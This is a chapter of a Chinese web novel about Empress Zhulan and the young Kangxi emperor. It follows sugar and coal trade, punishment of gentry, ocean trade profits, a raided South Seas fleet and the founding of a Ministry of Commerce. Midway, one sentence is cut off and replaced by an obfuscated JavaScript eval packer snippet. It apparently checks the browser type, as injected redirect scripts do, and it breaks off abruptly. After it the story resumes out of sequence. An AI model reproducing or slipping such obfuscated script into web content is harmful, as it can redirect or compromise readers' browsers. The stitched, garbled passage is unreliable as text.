玉宁每日徘徊在甬道,常来内务府与养心殿,有时候一坐就是一整天,只为能见皇帝一面,好叫天子不要忘了后宫还有一个她。满宫里,就她一个正经做妃子的。有时候,她也寂寞。 宫外呢,珠兰手下掌柜的不是一般的能干,在属性点的加持下,这既是一群商业精英,也颇具政治头脑,买卖做的红火,势力铺开的细密,各方密切合作,一笔投资比一笔赚的多。连庄头这种外行在南城棚户改的商业街,都被各路进京抢海上订单的大商人租去了,一年回本。 内务府的传统买卖分给了几家,也做的不错。这几家外戚家里跟着发了财,往内务府送的东西质量高,送回的分成更高。 蜂窝煤买卖稳定了下来, 自从攻克了甜菜和果糖技术代差,内务府也有了新的来财生意,白糖买卖做了起来。因为这次皇帝的精神主要在外朝,珠兰便直接按照自己的思路,走薄利多销的路线,直接把昂贵的糖价格打下来,变成了一般殷实人家也能给孩子吃上一两块麦芽糖的程度。捎带了,就把三藩稳稳的糖料市场给抢了,逼着不少江南和两广的糖商退到长江以南。 葛布喇的六弟法保目前在负责这一摊子,他资质平平且行为懒散骄纵,年纪不大,专好仗势欺人,每日里不是在山西揍巡抚,就是在山东打士绅,风评极差,弹劾的折子雪花一样飞入紫禁城。人人都说,这法保真不像索相的子嗣,比他几个哥哥差出一条长江水。 若非糖是真好真便宜啊,保管他哭着回京城,一块都卖不出去。 若非前头索额图铺开蜂窝煤铺子的时候,把关系都维系好了,保管这小子得挨揍。 珠兰听着吉雅绘声绘色的学外头的话,被逗的直笑。法保也是个妙人,定是祖父索尼没少教他,小小年纪活脱脱把纨绔演活了。 “那等为富不仁的士绅,就该挨揍。还想要咱们的糖,白送人都不给他。”吉雅愤愤的,最讨厌那些垄断货源、囤积居奇的恶人了。 珠兰点了点她的额头,“去信给六叔,许他不必留面子,但凡有哄抬糖价的,直接捆起来,拉去巡抚衙门给他一家算算账。若是巡抚敢包庇,就拿葛大人的牌子去,连巡抚一起打。”敢在皇后的叔叔面前搞小动作,胆子大也罢,脑子不灵光也罢,当出头鸟的,来一个打一个,葛布喇的大学士地位不能只放着看,有权不用过期作废。 必然要让这群士绅知道,赫舍里家的人不好惹,若是老老实实还有一口饭吃,若是敢如过去一般玩小心思,就直接玩死他。再没有封建王朝的大官,会怕几个地方士绅的。那些前怕狼后怕虎的,要么地位不够,要么是收了黑钱。 法保胆子大,性格直,还有索尼安排的特殊人设,正适合做这等犁地的事。 “从山东山西开始,一地一地的叫他走,哪里有打主意的,就收拾到哪里。”珠兰笑道,“内务府的皇庄不够用,皇庄里的农人也缺呢,叫法保不必留手,定要满载而归。”这年头的大地主,但凡家里有万亩地的,就没好人,抓到哪个宰了都行。 “是是是,最重要的是不许累死人,特意嘱咐六爷,皇庄里只许四个时辰劳作,其余时间跟着镇守太监学数算。”吉雅点着头,把信写了。 珠兰也没想到,有心建功立业的太监这么多,顾问行安排了十分之一到皇商处,就排不开了。 虽说有个轮换,可大家都急着出去赚银子,哪个都怕轮不上自己。等个一两年还行,真要四五年都轮不上,顾问行怕自己被他们活吃了,这可是一辈子的大事。 没办法,他又求了主子娘娘来了。 珠兰也没想到,皇宫里居然有这么多可以精简出去做工的太监,毕竟宫里也要有太监执业的。 顾问行垂着头,这事儿啊没法说,原来啊,那都要排场。 人员冗余至此,真叫人大开眼界。 珠兰想了想,就想到了皇庄。 皇庄也不少出大胆的庄头,自己大婚那年盘库,就查出有人敢动手脚,没少清理。此时,也该给庄头们上个弦了。 于是,就有了新的皇庄从业准则,和两三年一轮换的镇守太监。机制与皇商那边差不多,但是要求了工时不得超过每日四个时辰,以免压榨庄户过甚。 商人的家丁咱管不到,庄户可是实打实的内务府重要资产。 为了能够尽可能的安排太监再就业,就得增加皇庄。于是,珠兰请出了自己家的六叔,去山东山西找茬去了。 既然祖父索尼要给赫舍里家培养一个明面上的弱点,珠兰怎么会不配合呢。自黑,哪里比得上大伙一起黑。得罪了一地士绅,保管没了好名声。 与内务府齐抓共管的上下一心相反,自打皇帝把值钱的琉璃买卖挪出内务府,朝中上下一直沉浸在金银的氤氲之中不可自拔,吵吵嚷嚷的就没停下来过,谁和谁也不一条心。他们啊,就善于把小事吵成大事,把没事当成有事,否则怎么体现为人臣子能干呢。 户部和工部一直在吵,吏部与户部也不对付,连不搭边的刑部与礼部都跟着跳脚,兵部看着热闹还往乾清宫递小话。理藩院、宗人府、督察院等也不闲着,上蹿下跳想分一杯羹。 大学士们与皇帝分析,这是哪个部门,都不会嫌弃自己的权柄小,尤其是关系到一年百万乃至千万的收益时。 皇帝干脆指挥着内阁大学士们一边拉一边打,很是威风。只是一提起正事,比如撤藩平台,朝中就鸦雀无声。 偶尔,他会在与珠兰一起用膳后,提起来前朝争端。甚至拿着折子,叫珠兰一起看。皇后心思纯,很能直指本心。 珠兰多半是不语,偶有提议也都是粗枝大叶,对那等不听话的,暗地里耍的,不是喊着杀人就是嚷嚷抄家,直来直去的丝毫不含权谋该有的艺术气息。便如之前一年她所做的那样,从不遮掩。 无论是抄包衣的家,还是重用工匠、商人甚至太监,她从来不在意前朝后宫如何看她。 只有我的珠兰,她性格也像他父亲,能干是真,心思直也是真。她善谋大事,而不惜已身,才会眼睛都不眨的就看着巨额之利与赫舍里再不相干,还一如既往的用这样的眼神看朕。 连她那个六叔,法保也是一般品行,勋贵子弟甘心为了内务府的利去得罪人,是及其罕见的。 朕知道,旁人呼珠兰为天子鹰犬。朕知道,她宁愿受这等奇耻大辱也要全力帮朕,是因为珠兰爱玄烨。朕知道,即便朕将海上商路撤出她的属下,她也不曾有一丝怨言,是因为她爱我。 皇帝看着皇后清澈的眼眸,感动又无奈。 也对,她要是懂得明哲保身、暗度陈仓,哪里还有今日朝中海权之争,哪里还需要他强行令她退避三舍。后宫之中,无论是钮钴禄氏、马佳氏还是纳喇氏,定然是做不到她这般全然不顾己身,一心只为朕的。 前朝大臣们便是晓得海洋中有巨额利,也绝不会告知君父一言半语,何况交给前朝国库呢。 只有我的珠兰,这样爱朕。朕做了不利于她的事,她也无怨。便是如此,他才信任她,愿意与她共看折子票拟。 珠兰眨巴眼,我又不缺钱,我缺的是观察点,是能量结晶。 皇帝晓得,宗室们在等南洋的消息,只是在朝中附和自己的话,却再没行动。勋贵们盯着琉璃和蜂窝煤产业已经渗透多次,均失败,索额图与薛奋皆有功。其余朝中大员,有的还觉得赫舍里肯定不甘沉寂,有的主意打到了东北,有的心思动到了草原,有的盯着马佳氏的风吹草动。 可无论他们想要什么,都必须跪在朕脚下,朕才会给。朕虽然不以海贸为正意,但拿出来吊着目光短浅的他们还是可用的。 权谋就是这般,要在人心之中斟酌,在人性之上沉浮,直到朕获得一切。 三月初的紫禁城,被一股不寻常的躁动笼罩着。马佳氏那支前往日本的船队刚驶入大沽口,“获利九百万两”的消息就像长了翅膀,掠过午门的鎏金铜狮,直钻进前朝的各个角落。 后宫中太皇太后都坐不住了,宣皇帝来此,问及草原可有出海口。 康熙:东北祖地是动不得,祖母莫非是想到了北海?那得问罗刹人要…… 彼时,他真就听见自己的皇后与祖母商议,从草原出海的可能性。 珠兰啊,是一丝权谋都不通。朕都如此明显不想让她掺合了,她居然还是什么都说,就算是对着皇祖母也该留些余地啊! 你看,皇祖母还让珠兰细细写个条子,给她研究草原出海口的事儿,这不无稽之谈么。 罢了,就让她安心在养心殿消遣,连上朕的那一份好了。 这些日子在前朝后宫斗智斗勇,虽然康熙本人对各种利益交换、运筹帷幄、算计玩弄等乐此不疲,是个纯正工作狂,但当参与了一次珠兰闲适的下午茶时光,也有油然而生的幸福感。 他愿意看着她悠闲度日,在他的羽翼下笑靥如花,每日读书品茶,只要少去后宫看她的姐妹就更好了。 有些时候他会因为某些自己也不想承认的嫉妒,强行让珠兰陪着在乾清宫或者南书房待着,给他打下手,免得她太闲,出去招蜂引蝶。 皇帝晃了晃脑袋,强制自己把思路转回来。 朝中大员,谁都清楚这笔银子的分量——皇帝令户部掏了九成九的本钱,米思瀚当时都快哭出来了,那可是八十万两。 皇帝还是个大气的主儿,并不觉得户部一次性拿出这么多钱有什么问题。便是赔了,也不打紧。 那会儿,有人想看笑话的。 安亲王府中,就有世子言:“若是皇上败一次……” 岳乐捂住儿子的嘴,不叫他继续说。议政王的威风,谁不想要,可也得有那个命。 康亲王杰书与福晋夜话,“若是来一阵大风、狂风、龙卷风,这么多银子可就直接扔海里了,天子未免太有魄力。”转念想到内务府赚钱跟抢似的,内库都满当了,哎,皇帝有退身步,底气足啊。 信郡王多尼在兵部,鹰眼般的目光只关注天子剑锋所指。 庄亲王博果铎与顺承郡王勒尔锦联袂入宫,提出商税之事。 大学士葛布喇附议,也认为该征商税,甚至是关税。 皇帝静听,思索着未来的复杂局势,应对着当前的繁杂事务,揣摩着宗室的心思,引领着八旗的风向。 康熙明白,与葛布喇一心为国不同,庄亲王博果铎与顺承郡王勒尔锦都盯上了还没成立的商部衙门。 他既然要用自己的近亲们制衡勋贵,又要用八旗制衡汉人地主,自然就少不得以权谋御下,让众人皆明何为圣心难测,何为雷霆雨露。 马佳氏作为经理人出了一分本,带了价值十万两的货去,也占了一分利,还把人工费、折旧费等都给结算了。 他们是下了重注,押上了身家性命,在五年秋末冒险去日本。 全家都盼着顺利,求神拜佛,连乡野之神都拜到了,宫中的荣贵人诺敏都不例外。 结果甚好,超出预期,一趟来回,带回铜矿、真金、白银,再加上去时带的丝绸、瓷器赚的差价,竟抵得上半年的国库收入。 所谓富可敌国,居然不是一句空话。而当时商人交的税,低的等于没有。 晋商,偷了朕多少钱! 皇帝甩飞了一只珍贵的粉彩桃花琉璃杯子,急招大学士入宫讨论商部之事。 米思瀚:虽然早有预期,但实际发生后还是很有冲击感。他预感到,一次来回就这么大笔的金额,恐怕东洋商路难以由自己掌控了。 此时的户部对抗皇权的战斗力极低,跟上头顶是不可能了,毕竟他这个尚书是皇帝铁杆,下头侍郎主事都是内务府转任出来的,面对主子都是沉默寡言的。 内务府不适合经营这样规模的买卖,户部同样不合适同时收入田税与商利。 任何一家独大,皇上都会觉得自己睡不着。索额图说得对,自己需要急流勇退,万不可违逆圣心。户部本就犯过大错,万万不可再行差踏错一点。 当户部尚书米思瀚颤抖着将账册呈到太和殿时,御座下的朝臣们像被投了颗石子的池塘,瞬间泛起层层涟漪。 皇帝志得意满,看吧,就算朕的炮比西洋的小,就算朕的船没有西方的大,可在这一片,朕就是老大! 祖籍江南的几位干吏眼神发亮,退朝后脚步都带风。翰林院编修李兆斗攥着袖中的纸条,上面记着船队带回的“畅销货单”:生丝、苏绣、江瓷……他一路小跑回府,让管家连夜备马,“快!送信回苏州老家,让族里赶紧扩大丝织坊,明年的货得提前备着!”在他看来,这九百万两不是数字,是商机——朝廷都亲自下场了,跟着走准没错。 可也有人对着这份“功绩”冷笑,吏部侍郎宋德宜将朝珠往桌上一拍,对着门生骂道:“成何体统!天子脚下,朝堂忠臣,竟学起商贾逐利!”他想起今早户部展示的日本铜矿样品,只觉得刺眼,“我大清以农为本,岂能与市侩之徒争利?这银子,沾了铜臭!”话虽如此,他却悄悄让儿子去打听,马佳氏是怎么搭上日本的线,东洋商路好不好做,一时之间原来与晋商有关的掌柜活计都成了香饽饽。毕竟,这条线,之前都是山西在做。他们啊,肯定更熟悉走私路线。 更有甚者,像都察院的左都御史,刚在朝堂上就喊“此举与民争利,易致天下效仿”,话音未落就被前排的葛布喇瞪了回去。 “放肆!”康熙将账册往御案上一摔,“国库空虚时,不见你筹一分银子;如今有了进项,倒来教训起朕了?”当即命人拖下去打了三十大板,打得他嗷嗷直叫,朝堂上再无人敢提“与民争利”。 皇帝心说,你当朕是养在深宫中的傻子不成,海上贸易能与哪里的民争利!朝中站着的这些“民”? 还有些人则事不关己,工部的几位老臣凑在一起,讨论着河道修缮的新材料,他们家境一般,没有这等心思分一杯羹,对东洋商事只当听了个新鲜。“管他银子从哪来,只要能拨钱修黄河就行。”他们捋着胡须笑,仿佛那九百万两与自家无关,却不知下个月的河工饷银,就指着这笔钱发。 马佳氏的族人站在朝班末尾,腰杆挺得笔直。他们知道,这九百万两不仅进了国库,更让沉寂多年的马佳氏后辈在朝堂上站稳了脚跟。皇上甚至为此,将出力甚多的荣贵人诺敏这一房抬入满洲旗了。 诺敏长兄当初领命时的忐忑,如今都化作了底气——皇后娘娘教诲的对,跟着朝廷走商路,比守着祖宗的田产靠谱多了。他家中的江南良田只留了一半,剩下的都卖给了葛大人的家人,换成本钱去种桑树、收生丝、开绣坊了。 什么都没有到手的银子真,这还只是东洋一处买卖罢了。越来越多的人,动心了。 夕阳透过太和殿的窗棂,将朝臣们的影子拉得老长。 有人急着钻营,有人固守陈规,有人眼红嫉妒,有人漠不关心。 唯有御座上的康熙,看着底下的众生相,指尖在账册上轻轻敲击——这九百万两,不仅填了国库的窟窿,更试出了人心。 他要的,从来不止是银子。 三月中旬的紫禁城,投入了真金白银的宗室们还在踮脚望着南洋的方向——那支承载着众人期盼的船队迟迟未归,按道理是这个月回来。 亲王贝勒茶歇时的议论渐渐掺了些焦虑,连福晋们串门子也多讨论此事。 东洋的买卖他们只能看个热闹,南洋的可实打实就有他们的份儿了。听说,那边的利更加丰厚。 连太皇太后都有些坐不住,几次叫了皇帝过去问询。 康熙也叫太皇太后三言两语说的心里有一些虚火冒出来,老太太会抓重点,专门问皇帝咱的船炮可够用,遇上那西洋红毛人可打得过? 皇帝嘴上说没问题,心里也有点打鼓,毕竟按照柯尔坤信上的说法,万一真的碰上,是讨不得好。可他出于对“火器对骑射拥有天然克制”的本能厌恶,总是下不了狠心让工部往深研究。 太后也问了几次,这里可是有端敏格格出的本钱,那是这孩子的嫁妆银子。 某一次太后心急,说漏了嘴,叫皇帝晓得简亲王府中猫腻,下旨申斥,吓得年轻的病秧子简亲王直接病重了。 京中一片甚嚣尘上,各路谣言四起。 可谁也没料到,天津卫的码头上,正泊着两艘风尘仆仆的西洋大船。 船身的橡木甲板被海风蚀得发乌,却掩不住舱里透出的珠光宝气。当"葛布喇大人四年派出的船队"字样传到京城,连康熙都停下了批阅奏折的朱笔。 这是意外之喜啊,他们居然就回来了!这么快! 更让人意外的是,跳板上走下来的身影里,竟有赫舍里柯尔坤。当年一众人等为避鳌拜锋芒,假托流放,实际随船出海。如今柯尔坤皮肤晒得黝黑,笑起来露出一口白牙,与两年前那个文弱的小子判若两人。 葛布喇亲到天津相迎,接了弟弟和货物入京 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她望着窗外的海棠,柯尔坤带回的西洋种子,得让庄子上种起来。那些是当时特意嘱托给他,寻回来的高产作物。其实玉米、番薯、马铃薯国内南方地区已经有了,但珠兰就是又让他寻摸了一回。 系统分析,以后出海做买卖的事,开海禁之前都是朝廷的禁脔,内务府能得多少都看皇帝的脸色。 而皇帝,有钱以后,也是没有惠及天下人的意思。最多,就在八旗内部分润,剩下一口汤水给提供货源的地主土豪。大约能拉动一下生产规模,但实际很难算进程加速。 这不符合珠兰的利益,所以,暂时她不准备掺和海上商事了。让船跑几年,咱们再看。 沿海地区的人,都聪明呢。海上商路开辟,供求关系的转变,必然会带动生产工具的革新,而后是生产力,再到生产关系…… 经过实验,珠兰确认所有惠民之举,若只停留在少数人收益的阶段,是得不到能量结晶的,世界不认可这是进步。 说起来也是,上位者的心思变了,这一切都随时会停滞,如何能够算作世界进程的发展呢。 三藩、台湾皆为心病,此刻皇帝不会准许开海。 不如,去种地吧,高产作物总能惠及全民。 商事的种子埋下,等着茁壮成长就好。 就像在南边的寿春她们,根本不用珠兰操心。举着葛大人的大旗,在白道混。打着翻云会的旗号,在□□搞事。她们啊,自己就发展的很好,都有海上根据地了,周边的海盗被她们灭了不少,连海那边游弋的破产武士,都被大船海炮轰了回去当矿工头子了。 南边,她们也掺和了进去,没少给三藩和郑经脸色看,抢了粤商不少商船。还故意留下破绽,引着两边以为是朝廷派人雇佣了葡萄牙人在海上搞事。闹得广东福建都激灵了,一度与葡萄牙人起冲突。 搅浑水以后,寿春又带着舰队北上去打东瀛武士了。她们船坚炮利,仗着武器代差,主打一个玩儿,就是玩儿。 中国需要金银铜,而东瀛蕴藏丰富。 "深藏功与名"这五个字,是皇帝无声的告诫,她记住了。 打开寿春的数据面板,珠兰将她的【潜伏】属性加高。当海贼王是她的梦想,珠兰不准备遏制,但适当的远离朝廷视线,避免被当成重点打击,还是很有必要的。 皇帝不能容忍内务府独占商路,肯定也不会允许海上有一支过于突出的军队。但是,海盗的话,暂时他管不过来。 目前寿春是一路从江苏向北发展的阶段,顺手收拾了东洋航线上的渣滓,间接保证了马佳氏船队的安全,也还未曾遇见朝廷水师,但她一旦回南,迟早会被重新起用的施琅水军发现。 施琅此人,是有些水战天赋的。 因为安亲王等人对南洋航线保障的问题多次谏言,并且在葛布喇的强烈建议下,南洋船只出行前,康熙将在四大辅臣时期被闲置的施琅传唤到京,由他亲自率苏杭水师随商船南下。 商船上一同出海作为向导之一的潘青娴娘子,则是索额图引荐给裕亲王的,由她提供的粤商秘密航线和货物倾销目的地。 因此,裕亲王特意在下朝后前来感谢葛大人,葛布喇果不其然拒绝了福全一同宴饮的邀约,急匆匆去了南书房,他还有几份税赋的条子要拟,袖袋里装着不少师爷给写的底稿,甚至还有远在江苏的来信。 见葛大人步履匆匆的走了,裕亲王无奈,又来与索额图说话。索额图趁机提起那从五岁就随父下南洋的粤女,这就是此女的运道了。 最后,去年十月份走的时候晋商与粤女一起带了三船货,这是宗室强烈建议第一次少带点,怕全赔了。 康熙表示鄙视这群亲戚,一点冒险精神都没有。朕还派了一支水师编队护航,用的是施琅这样的大将,胆子都小成这样。 连船带货算上人工费等成本是十万两,粤女保守预估能带回来五倍的利润。在她老家,对日贸易有三倍利,冒险下南洋有五倍利。 福全就这样对皇帝回禀的,康熙表示马佳氏去日都有十倍利,下南洋应该更赚才是。 索额图曾与皇帝言,商人毕竟成本高,咱们干,没那么多杂七杂八的支出。 康熙何等聪慧,这杂七杂八的支出他自然知道是什么,他心中也算了一笔账,若是南洋线路全通,十倍利不在话下,全数运送价值高昂的香料等物,二十倍利的空间都有。 帝王要的是“天命在我”,宗室乐的是“意外之获”,朝臣想着“升官发财”,你来我往、刀光剑影、阴谋诡计,大家都要挣海权! 至于珠兰这双在幕后拨动运气的手,本就该藏在凤袍的褶皱里,不被人看见。 什么是权谋? 珠兰摇晃着琉璃杯,桃花酿微醺。 听说,东洋之利有十倍,令八旗上下热血沸腾。 旗人们甚至开始聒噪,希望撤销不许他们经商做工的限制。 就算限于海禁的国策,他们出不去,也能南下筹办些丝绸绢帛来卖啊。 而当葛布喇领着柯尔坤回来后,传教士成了各勋贵府上的座上宾。私底下学西学,成了八旗的潮流。倒不是大伙突然开了窍,爱上科学,只是为了将来也有机会西行,去忽悠洋人好赚大钱罢了。 那可是真真的百倍之利,十足十的令人疯狂。 那段时间的旗人遛鸟都提不起精神,打招呼的时候要是不随口说几句拉丁文,唠叨一顿做什么买卖去西洋最赚钱,出门都不好意思。 甚至有江南那边的大员,连夜送信回老家,这就要筹备走私出海的货物了,连海禁都不顾了。 苏州、杭州等纺织坊里都在传,西洋的红头发、黄头发们,人傻钱多啊,西方的地板都是黄金铺的,蹲下就能捡到银子! 若非南边还是三藩,还有郑氏,他们早就从柯尔坤的团队里绑人出来南下西行了。 户部不提没钱筹办军需了,工部造红衣大将军炮可比修园子带劲儿,兵部厉兵秣马随时准备用自己的刀给船砍出一条安全的商路。 吏部盯着商部衙门筹备的事儿,生怕这次自己又捞不着好。 刑部没什么存在感,就说不上话,急的刑部满汉俩尚书往索额图、明珠府上没少跑,深怕掺和不上这一次的饕餮盛宴。被打发了个商讨民商法的活计,两人高兴的回去了。 礼部,不咋开心,他们跟钦天监的传教士不咋对付,看不得对方借着着一股西风上天,所以老是冲着皇帝歪嘴,但满尚书会拦着汉尚书三分,他家里也有入一股儿呢,哪个大员家没个王爷亲戚啊。 这一次,朝中上下心都齐了,看着横亘在他们和银子中间的几重邪恶势力,恨得牙根痒痒。 军心可用!皇帝点头。你别管军心怎么来的,反正能用! 在这种满朝沸腾的情况下,南洋的船回来了。 果不其然,出了意外。 珠兰点头,是这个意思。 62. 制衡之术 天津卫的码头飘着细雨,打湿了归来的船帆。 去南洋的三艘商船,此刻只剩一艘歪歪扭扭泊在岸边,船身的裂缝里还嵌着海藻;十艘护卫船更惨,回来的五艘都带着箭痕与火灼的焦黑。 大家都在秀,只有你最不争气啊。 码头上的人望着跳板上踉跄的身影,心都揪紧了。 好在裕亲王派去的管事扯着嗓子喊:“货在!各家掌柜也都捞上来了!” 果然,被搀扶着下来的人群里,晋商王通礼的绸缎袍湿得透心凉、脏的没眼看,粤女潘青娴的竹笠歪在一边,露出的侧脸沾着泥,却死死攥着个油布大包——那是南洋的账册。 这样的买卖,各家贵人也就是排遣心腹出行,提前安排了家小,预备不行就死在外头,反正各家的至亲是不会真送上去冒一丝风险的。 消息传回京城,几位王爷连夜把心腹叫进府,都顾不上让人家休息。“真不是皇上……下的手?” 安亲王的手指在茶盏沿上划着圈,眼里的怀疑藏不住。去年拆分内务府商事时,谁都看得出皇帝对分润宗室的忌惮和不甘,若非太皇太后施压,皇上不会妥协的。 可心腹们赌咒发誓,说船上的人亲眼见了狂风掀翻船帆,见了挂着郑经旗号的高头大船冲出来砍杀——“千真万确是天灾人祸,跟宫里没关系!” 王爷们盯着带回的残破船板,又查了随船的日志,终于松了口气。炭盆里的火燃得旺了些,可谁都没说出口——哪怕真是天灾,这损失也太扎心了。而且,高头大船是什么鬼? 施琅跪在太和殿的金砖上,甲胄上的海水渍还没干透。“臣护卫不力,请皇上降罪!”他的大嗓门撞在殿柱上一般响亮,仿佛带着海风的腥气和火炮的硫磺味儿,让一众文质彬彬的大臣皱眉。 殿外的雨更大了,皇帝望着阶下瑟瑟发抖的王通礼,又看了看旁边镇定自若的潘青娴,指尖在御案上敲得笃笃响。“潘氏,你说。” 潘青娴抬起头,雨水洗过的眼睛亮得惊人:“回皇上,去时走的是民女父亲早年寻的秘密航线,水文晴好,海盗绝迹。不料归航时突遇狂风,掀翻一艘商船、两艘护卫船——余下的人刚把货物转移,就撞见挂明郑旗号的船队。”她从袖中掏出块锈迹斑斑的腰牌,“他们抢走一艘商船,这是从登船的贼寇身上搜的——是平西王府的制式。” “哗——”朝臣们炸开了锅。郑经的旗,吴三桂的腰牌?这是两方合流了?而且,这般明目张胆的把朝廷的船当成了肥肉啊! “三藩与逆贼勾结!” “欺人太甚!” 骂声里,人人都摆出同仇敌忾的模样,仿佛早前还在抱怨“商事靡费”“与民争利”“三藩势大”的不是他们。 王通礼抖得更厉害了,磕头磕得金砖邦邦响:“求皇上做主!郑匪抢走的那船香料……值五十万两啊!” 康熙抬手,殿内瞬间安静。 他看着潘青娴手里的腰牌,又瞥了眼施琅呈上来的损失清单——归来的船带了三十万两货,沉了的一艘大约也值三十万,被抢的那艘香料竟值五十万。十万成本,可赚十一倍的利。 众人皆言货损,没人关心自己手下的士兵死了多少。施琅低着头,心在下沉。 “都起来吧。”天子的声音平静得可怕。 所有人都以为他要震怒,要下旨声讨,可他只是淡淡道:“施琅免罪,戴罪立功。王通礼、潘青娴,去户部核账,余下的损失……朕记下了。” 施琅心中半是庆幸皇上不曾治罪,也为了死在海上的手下抱屈。对方船上的炮,比自己的强太多了。此战非健儿不勇,实乃是装备有代差。他们的战舰在敌方的大船衬托下,都像小舢板了,别说近战根本就上不去,若非对方无意全歼他们,只是抢了一艘商船走,他们根本就一个都回来,一轮炮火洗地就能让他们都沉海里。 他看了一眼前方葛布喇大人的身影,抿了抿唇,还是没敢在朝中给自己辩驳什么,预备之后寻这位举荐自己,自己却根本不认识的恩主,念叨一二,寻个主意才是。 退朝后,康熙独自留在御书房,翻着那本被海水泡得发皱的账册。三十万,三十万,五十万……这些数字像烧红的烙铁,烫得他眼疼。 他当然知道这趟商事的利润——珠兰当年算过,南洋的香料、苏木,运回来至少翻十倍。可他更清楚,三藩与郑经若是敢动手,不是为了那点银子,是为了试探他的底线。这吴三桂,约么是让郑经摆了一道,才留下了腰牌。 “太碍眼了。”皇帝对着空无一人的殿内低语,将账册狠狠合上。 三藩拥兵自重,郑经割据台湾,如今竟连朝廷水师护卫的商船都敢抢!他对自己说,也是对朝中大臣如此说,此事便算定性了。 重要的是——满朝文武都等着他说那句“忍无可忍”。 他望着窗外的雨,忽然想起珠兰说的“养肥了再杀”——看来,有些“肥猪”已经迫不及待到主动撞刀子了。 潘青娴镇定的脸闪过脑海,这粤女不简单。 御案上的朱笔蘸了浓墨,在奏折上落下个“准”字。不是准奏声讨三藩,是准了大学士们研讨多日的商部衙门与海事衙门同立。 要抢?皇帝指尖划过“平西王府”四个字,眼底的寒意比殿外的雨还冷,那就让他们看看,谁才是这天下的主子。 雨还在下,金砖缝仿佛渗进了南洋的海水,咸腥里,藏着即将出鞘的刀。 珠兰瞅着寿春的属性面板,连着看了半个月,这妮子又干不少了不得的事啊,麾下势力膨胀的厉害。 那人头多得,那忠诚度涨的,珠兰都看不过来。可算,她也会深藏功与名了,没打着翻云会的旗号去抢劫。 这厢正赏着雨,品着茶,瞅着内务府的肥皂和白糖产业差不多出炉,可以给索额图换个前朝的官儿当当。 那边,皇帝掀了帘子自己进来了。 珠兰见他来,起身时,顺手往桌案旁的铜鹤香炉里,放了一把茉莉香。 她还没来得及行完福礼,就被一股带着龙涎香的力道紧紧抱住。 “珠兰!我的梓童!”皇帝的声音里满是压抑不住的激动,下巴抵在她发顶,带着朝服未散的寒气,“你真是上天赐我的财神玉女!那些银子……去年还是连想都不敢想的数,就这么进了朕的银库!” 珠兰被抱得莫名其妙,鬓边的东珠簪子都晃歪了,顺着他的力道笑出声响,“皇上这是……南洋的船有消息了?” “不止!”皇帝猛地松开她,眼里的光比殿里的烛火还亮,竟像个得了糖的孩子,围着她转了半圈。胭脂色常服的下摆扫过铺着毡毯的地面,带起一阵风。 “你是没瞧见前朝那些人的嘴脸!说商事‘与民争利’的,月初只是见了东洋的账册,眼珠子都快瞪出来了,连夜送信的不知凡几,他们哪里知道,那些信里写的什么,朕都知道;还有那些宗室,前儿还抱怨裕亲王掌海事太专,此刻见了南洋回来的船,一个个都赶着来求朕赐他们个差事!更别提西洋你四叔柯尔坤回来后的景象了,八旗都沸腾了,全是冲着传教士使劲儿的。” 珠兰安静听着,这个时刻的皇帝只需要一个完美的观众。 他抓住皇后的手,指尖因为用力而微微发红,“朕答应把明年西洋的份额开放三成给八旗,你猜怎么着?那些旗主现在见了朕,比见了亲阿玛还亲!都吵着要派自家子弟去海上。” 是了,之前只分润给了宗室南洋的利。八旗勋贵彼时不晓得这里到底是好还是坏,都能等。待商船回来,他们必然是等不及了,要请皇上赐予他们恩德了。 而东洋离着最近,皇帝绝对不会松口分与任何人。即便不入内库,他也犹豫是不是放在户部呢。 只有西洋那边是风险够大,利润够多,正适合拿来吸引日渐奢靡堕落的勋贵们投入重注,省得他们吃饱了撑的,只晓得去各地兼并土地。 褪去龙袍的威严,卸下帝王的算计,此刻的少年天子眼里,闪烁着对未来的憧憬,连带着讲述“平三藩灭郑经”的语气,都带着点孩子气的笃定,“用东洋的钱铸河堤,拿南洋赚的银子养兵——到时候,一次往返就是千万两进账,看谁还敢跟朕叫板!” 珠兰望着他飞扬的眉梢,今年也才十几岁,是个美丽的少年郎。这般鲜活的美人儿,看着就开心呢。 他越说越兴奋,抓起珠兰的手往自己脸上贴,掌心的温度烫得她指尖发麻,“你说,朕是不是把他们都耍得团团转?” 珠兰望着他俊秀英挺的侧脸,看着他意气风发的模样,这样的康熙居然格外动人。 她故意板起脸,却忍不住笑,“皇上也不怕被人听见,说您自夸。” “怕什么?”皇帝仰头大笑,笑声撞在殿梁上,仿佛惊得香炉里的火星子跳起来,“在你面前,朕还装什么?” 看着他像只得意的小兽般蹭着她的掌心,有那么一瞬,这养心殿里的少年气,似乎比朝堂上的万邦来朝更让人心里发软。美色乱人心弦,古来如斯。 他忽然凑近,鼻尖几乎碰到她的额头,“这些都是你带来的,珠兰。没有你,哪来的东洋巨利?哪来的南洋航线?哪来的西洋货物?你就是朕的福星,是……” “好了好了,”珠兰伸手捂住他的嘴,眼底的笑意漫了出来,“再说下去,天都要被您吹破了。” 帝王的算计也好,少年的轻狂也罢,此刻都化作了烛火下的温情——她乐意看他这样耍宝吹牛,这样的康熙,最鲜活的模样,最好看啊。 康熙六年的夏天开始,所有的节奏都围绕着撤三藩走。 头一件大事,是两个新衙门的出现。 珠兰因此,还收到了一颗“碧浪”级的能量结晶。 这,又给了她新的启发。 系统:制度的变革,对世界进程的推动作用如此明显。 珠兰:等有机会了··· 康熙摩挲着案上的南洋海图,指尖划过“吕宋”“巴达维亚”等标记时,眼底亮着与年龄不符的洞见。 他比谁都清楚,海上往来的商船里藏着比江南稻田更厚的利——去年东洋一趟赚回九百万两,西洋归帆估值千万,这些数字早让他看透:海洋的利润,迟早要压过传统农业。 可这泼天的利,绝不能落进户部手里。那些抱着“重农抑商”旧理的老臣,只会把商事当成“末技”,捆住手脚。 “设商部。”他对着内阁三院大学士们拍板时,语气不容置疑,“专管海外贸易、商号运营,与户部各司其职。” 话虽如此,帝王的制衡之术早已藏在暗处。 商部的满汉尚书位置空着,像两块悬在朝堂上空的肥肉,引得各方势力伸长了脖子——谁都想咬一口,却不知这是皇帝下的饵,钓的是“平衡”二字。 